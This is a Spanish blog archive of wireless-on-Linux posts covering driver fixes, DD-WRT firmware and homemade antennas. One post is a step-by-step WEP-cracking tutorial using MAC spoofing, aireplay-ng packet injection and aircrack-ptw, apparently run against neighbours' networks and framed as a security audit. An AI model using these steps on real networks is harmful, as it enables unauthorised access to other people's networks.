Wireless on LinuxmanR4

Problema con las tarjetas Broadcom BCM43xx en Ubuntu 11.04

Fri, 29 Apr 2011 14:47:19 +0000

Hoy en la mañana terminé de instalar Ubuntu 11.04 en una laptop que tengo para hacer pruebas. Es una Compaq Presario V2000, en un equipo algo antiguo, pero que todavía funciona muy bien.

El primer problema que tuve fue que no me detecto la tarjeta de red inalámbrica, creo que lo hizo correctamente en la versión 10.04, pero en esta ocasión el administrador de la red me dijo que faltaba el firmware y tampoco me la detectó automáticamente.

No recordaba que tarjeta inalámbrica tiene mi equipo, así que ejecuté este comando en una terminal para averiguarlo.

lspci | grep Broadcom

lspci

Como pueden ver el resultado es una tarjeta BCM4318. Lo que sigue es bien simple, instalar el paquete firmware-b43-installer que se encargará de bajar e instalar el firmware de esta tarjeta.

Puede usar synaptic o una terminal para instalar el paquete.

firmware

sudo apt-get install firmware-b43-installer

Y en un momento verán como se activa la tarjeta de red inalámbrica.

Todavía no me acostumbro a Unity (y creo que jamás lo haré) para mí es más práctico iniciar los programas con Gnome Do y siento que la barrita lateral me roba espacio en la pantalla. En fin, cada quien sus gustos.

Mis experiencias usando DD-WRT en un equipo WAP54G

Wed, 02 Apr 2008 22:30:25 +0000

https://flic.kr/p/4CEk8N

¡Esta vivoooooo!

Después de pasarme dos días experimentando, al fin tengo un resultado más o menos estable con dd-wrt y los linksys WAP54G.

Instalé el firmware dd-wrt.v24-9344_NEWD_micro.bin que fue el que recomendaron en los foros para un WAP54G v3.1 aunque también lo instalé en otro versión 2.0

Hasta ahorita he logrado mantener un buen enlace de 5 km, con estos aparatos, todavía no estoy seguro porque fue que dejaron de funcionar los anteriores con el firmware original.

Tengo la sospecha de que era por la saturación de canales en el área. Cuando instalé los dispositivos hace ya casi dos años el territorio estaba prácticamente virgen, ahora que hice una pequeña exploración del área.

Gracias a la opción Site Survey me di cuenta de que el lugar estaba bastante saturado, me llegué a topar con hoteles, universidades y una buena cantidad de infinitums ofreciendo a diestra y siniestra sus señales.

Cuando menos 3 puntos de acceso ofrecían sus servicios en el mismo canal que el mío y no se porque extraña razón el canal 11 era el único que funcionaba medianamente bien.

Canales adicionales

Aprovechando que el nuevo firmware ofrece 3 canales más decidí probarlos (normalmente son del 1 al 11, dd-wrt llegá hasta el 14), Lo que les puedo decir es que se logran muy buenas velocidades en el canal 14 como se puede ver en la gráfica.

Quiero agradecer la ayuda proporcionada por El Fantasma, aunque por un error de comunicación y casi al final de la charla me di cuenta de que todos sus consejos estaban enfocados a los WRT54G (que tienen un router incorporado) y que no eran al 100% aplicables con los WAP54G que solamente tienen un puerto Ethernet.

TX Power

También noté que el valor TX Power se estableció por default a 70 ( cuando de fabrica tienen un valor de 28).

https://flic.kr/p/4CAhDF

Recordé que mirim me había recomendado que no estableciera un valor mayor de 80 porque podría quemar el aparato así que mejor le puse un valor más conservador de 50, aunque de todos modos no estoy muy tranquilo que digamos.

https://flic.kr/p/4CEB8y

En general es muuuy bueno este firmware, solo una recomendación que probablemente les puede ahorrar muchos dolores de cabeza, cada vez que hagan un cambio, primero guárdalo y luego aplíquelo. Se ahorrarán una buena cantidad de tiempo, se los aseguró :P

Auditando contraseñas WEP en 7 pasos.

Sun, 16 Mar 2008 19:48:14 +0000

Pues aquí me tienen, una vez que encontré una antena que me funcionara y al ver que había varias redes disponibles no me pude aguantar las ganas de auditar las contraseñas WEP que encontré a mi alrededor.

Hago la aclaración de que esta es una auditoría de seguridad pero les puedo adelantar la conclusión: La configuración por defecto de los accesos inalámbricos de Infinitum es altamente insegura.

Material necesario.

Tarjeta de red inalámbrica, en mi caso use la que siempre me ha acompañado en este blog, la multimencionada ENUWI-G2 .
Una antena, esta es opcional, pero se puede utilizar para mejorar la calidad del enlace, puede ser la EZ-12 o la del escurridor de aluminio que a mi me ha funcionado muy bien.
Una distribución de Linux, utilicé wifiway porque fue la que mejor me reconoció mi tarjeta de red inalámbrica, pero existen otras opciones como Wifislax o Bactrack .

Los pasos a seguir.

Hago la aclaración que esta serie de pasos es para wifiway, pero supongo que se pueden aplicar a las otras distros antes mencionadas. También modifique los datos reales, para proteger la identidad de los personajes (siempre quise escribir eso :P ).

Todos estos pasos se ejecutan desde una terminal (terminalofóbicos abstenganse ;) )

1.- Verificar si se reconoce la tarjeta de red inalámbrica.

iwconfig

lo no wireless extensions.

eth0 no wireless extensions.

Warning: Driver for device wlan0 has been compiled with version 22
of Wireless Extension, while this program supports up to version 20.
Some things may be broken...

wlan0 802.11b/g Mode:Monitor Channel=1 Bit Rate=11 Mb/s
 Tx-Power=11 dBm
 Retry:on Fragment thr:off
 Link Quality=84/100 Signal level=-236 dBm Noise level=-240 dBm
 Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
 Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Como pueden ver si la reconoció, la tarjeta es la wlan0, aunque me lanza una advertencia de que algo puede andar mal, y en efecto, la luz led de la tarjeta no prende, pero eso no evitó que funcionara para este experimento.

2.- Cambio de la mac address.

macchanger -m 00:11:22:33:44:56 wlan0

Current MAC: 00:11:22:33:44:55 (Cimsys Inc)
Faked MAC: 00:11:22:33:44:56 (Cimsys Inc)

Este paso lo realizo para no tener que acordarme de mi Mac Addres :)

3.- Búsqueda de las redes inalámbricas en los alrededores.

airodump-ng wlan0

 CH 13 ][ Elapsed: 2 mins ][ 2008-03-16 11:23

 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

 00:00:00:00:00:01 2 4 0 0 6 22. WEP WEP 2WIRE000
 11:11:11:11:11:11 15 53 0 0 1 54. WEP WEP INFINITUM0000
 00:00:00:00:00:02 5 34 0 0 6 54. OPN linksys

En estos resultados vamos a tomar nota de varios datos importantes.

Como pueden ver la red que tiene una mejor calidad de señal es la INFINITUM0000 ya que el valor de PWR myor que el de los demás.

De ahí tomamos el BSSID (11:11:11:11:11:11), el canal en que esta operando (Canal 1) y el ESSID (INFINITUM0000), elegimos esta red porque tiene a mejor calidad de enlace y un método de protección (WEP) muy pobre.

4.- Iniciar la captura.

https://flic.kr/p/4yEaDd

airodump-ng -w captura -c 1 wlan0

captura es el nombre del archivo que va a recibir la información que vamos a recolectar. Noten también que -c 1 indica que vamos a trabajar en el canal 1.

Es importante que no cerremos esta ventana, de lo contrario lo siguiente que hagamos no servirà de nada. Los siguientes pasos se hacen en una nueva terminal.

5.- Asociar la red inalámbrica.

aireplay-ng -1 0 -e INFINITUM0000 -a 11:11:11:11:11:11 -h 00:11:22:33:44:56 wlan0

11:26:36 Waiting for beacon frame (BSSID: 11:11:11:11:11:11)
11:26:36 Sending Authentication Request
11:26:36 Authentication successful
11:26:36 Sending Association Request
11:26:36 Association successful :-)

Sí aparece el mensaje de Association successful :-) estamos listos para continuar. Al principio batallé con este paso, si tienen algún problema es casi seguro que se trata de una mala calidad de señal, pueden estar muy lejos del punto de acceso inalámbrico.

6.- Iniciar la captura de paquetes.

aireplay-ng -3 -b 11:11:11:11:11:11 -h 00:11:22:33:44:56 wlan0

Saving ARP requests in replay_arp-0316-112829.cap
You should also start airodump-ng to capture replies.
Read 598 packets (got 214 ARP requests), sent 1172 packets...(78 pps)

En este punto hay que estar al pendientes, cuando se logren más de 100,000 ARP’s terminamos el proceso (presionando Ctrl+C). Se puede tardar de 10 minutos a media hora dependiendo de la calidad del enlace.

7.- Buscar el archivo .cap con mayor tamaño y encontrar la contraseña.

Llave encontrada

Se acuerdan que en el paso 4 establecimos el nombre del archivo como captura (de hecho puede ser cualquier nombre), bueno pues es normal que en ocasiones se guarde más de un archivo, se distinguen porque les sigue un número, el que debemos de elegir es el que tiene mayor tamaño. Que aquí fue el archivo número 2.

aircrack-ptw captura-02.cap

This is aircrack-ptw 1.0.0
For more informations see http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
allocating a new table
bssid = 11:11:11:11:11:11 keyindex=0
stats for bssid 11:11:11:11:11:11 keyindex=0 packets=159646
Found key with len 05: 01 23 34 56 78

Y si todo salio bien en menos de 10 segundos obtendremos la contraseña, si en 10 segundos o menos, todo depende de la potencia de nuestro equipo.

Conclusiones.

Con eso es más que suficiente para encontrar la contraseña WEP de un enlace inalámbrico, lamentablemente este tipo de protección es el más utilizado por los Infinitum de Telmex por eso es poco recomendable dejar estos aparatos con su configuración de fábrica, lo mejor es ajustarla a otro tipo de protección como WPA, desconozco si lo 2wire lo permiten pero los linksys permiten restringir el acceso a ciertas Mac address lo que protege aún más una red inalámbrica.

La antena del escurridor de aluminio para el Wifi

Mon, 03 Mar 2008 16:15:29 +0000

Hace rato que tenía la inquietud de hacer una antena para mi adaptador USB, un ENUWI-G2 que ya ha sido motivo de varios artículos.

Quería algo sencillo y que no fuera necesario modificar mi tarjeta USB, primero porque no soy muy bueno en la electrónica y no quería echarla a perder por algún error que cometiera.

La EZ-12

El primer prototipo fue la EZ-12 pero siguiendo las instrucciones duplique su tamaño.

En la cruz del diagrama fui cortando el cartón hasta que se cupiera el adaptador, cuidando de no quedará muy flojo para que no fuera necesario utilizar una cinta para fijarla.

Los resultados de esta antena fueron significativos, pude ver varias redes que estaban a mi alrededor y que sin la antena ni siquiera aparecían. Sin embargo la mejora en la señal no fue suficiente como para lograr una conexión.

La antena del bote de resistol.

Mi siguiente intento fue con un bote de Resistol de tamaño mediano, hecho de pura lámina, le hice un par de orificios estratégicamente localizados.

El que mejor funcionó fue el orificio que hice más cercano al fondo, nuevamente logré ver las redes que estaban disponibles a mi alrededor (y algunas nuevas), esta vez si logré concretar un enlace, pero demasiado inestable.

La antena del escurridor de aluminio.

Fui con mi pingüina a surtir la despensa de la semana a Soriana, cuando vi un escurridor de aluminio de 22 cm , si no servía como antena su destino siguiente sería la cocina de mi chaparrita :D .

Pero no fue así, funcionó muy bien, con una liga y algo de cinta de aislar logre obtener muy buenos resultados.

Luego conseguí una extensión usb un poco más larga para orientar la antena por la ventana de la recamará y ¡Voalá!, casi sin mover nada ya estaba conectado.

Muchas de las ideas sobre los objetos que podía utilizar como antenas las obtuve de este sitio en el que ilustra diferentes diseños caseros.

Costo total del proyecto, 30 pesos ya que el escurridor estaba en oferta :D

Antenas baratas 2, La EZ-12

Tue, 18 Dec 2007 20:14:06 +0000

Las EZ-10 que hice caducaron, el centro en donde se ensartaba la antena se venció y terminaron por apuntar al cielo. :P

Eso me dio la oportunidad de probar otro diseño, las EZ-12 .

Bajé el diseño, y lo que hice fue calcarlo en una carpeta para sacar la plantilla de las dos antenas.

En casa le pegue el papel aluminio, siguiendo el consejo de mi amiga Irian puse la parte más brillante del papel de cara a la antena.

Lo demás fue armar el diseño y colocarlo.

Espero que estas duren mucho más ya que al tener dos puntos de contacto con la antena del WAP54g evitará que se doblen y cambien su orientación.

Adaptador USB Wireless ENUWI-G2 de Encore con Ubuntu, la solución que me funcionó.

Thu, 13 Sep 2007 01:57:11 +0000

Enuwi-g2 de encore usa

En un articulo anterior comentaba que no funcionaba bien mi tarjeta de red ENUWI-G2.

Mi inexperiencia con tarjetas de red inalámbricas en Linux me llevó a cometer varios errores.

El primero fue llegar e instalar ndiswrapper directamente sin revisar primero que la tarjeta ya había sido detectada por Linux.

El segundo fue un error de investigación, estaba empeñado en configurar el driver rt73, ya que según el cd que acompañaba al adaptador incluía un driver para Linux (que jamas logré compilar) tenia un archivo llamado Release Note que decía:

RALINK TECHNOLOGY, CORP. RALINK RT73 Wireless Card SOFTWARE DRIVER RELEASE NOTE

Fue un detalle que me quitó mucho tiempo.

Después decidí dedicar mis esfuerzos con Xubuntu Gusty Gibbon Tribe 5 que es donde estoy escribiendo esta nota, no sirvió mucho, ya que presentaba más o menos los mismos problemas que la instalación anterior con Gnome.

Cuando reinstalé xubuntu me di cuenta de que este ya me había reconocido la tarjeta.

Al hacer sudo modprobe -r rtl8187 desaparecía la tarjeta inalámbrica.

Me di cuenta de ese modulo porque la primera vez que instalé ndiswrapper me apareció un mensaje como este:

device ( ) present (alternate driver: rtl8187)

Después de buscar y rebuscar en los foros de Ubuntu encontré la solución final siguiendo este tutorial:

RTL8187 with ndiswrapper (network manager disabled)

Básicamente es descartar el modulo rtl8187 que viene con la distribución y reemplazarlo con el driver para windows 98 utilizando ndiswrapper.

Hace tiempo que no experimentaba esa sensación de satisfacción al lograr alguna tarea con Linux :D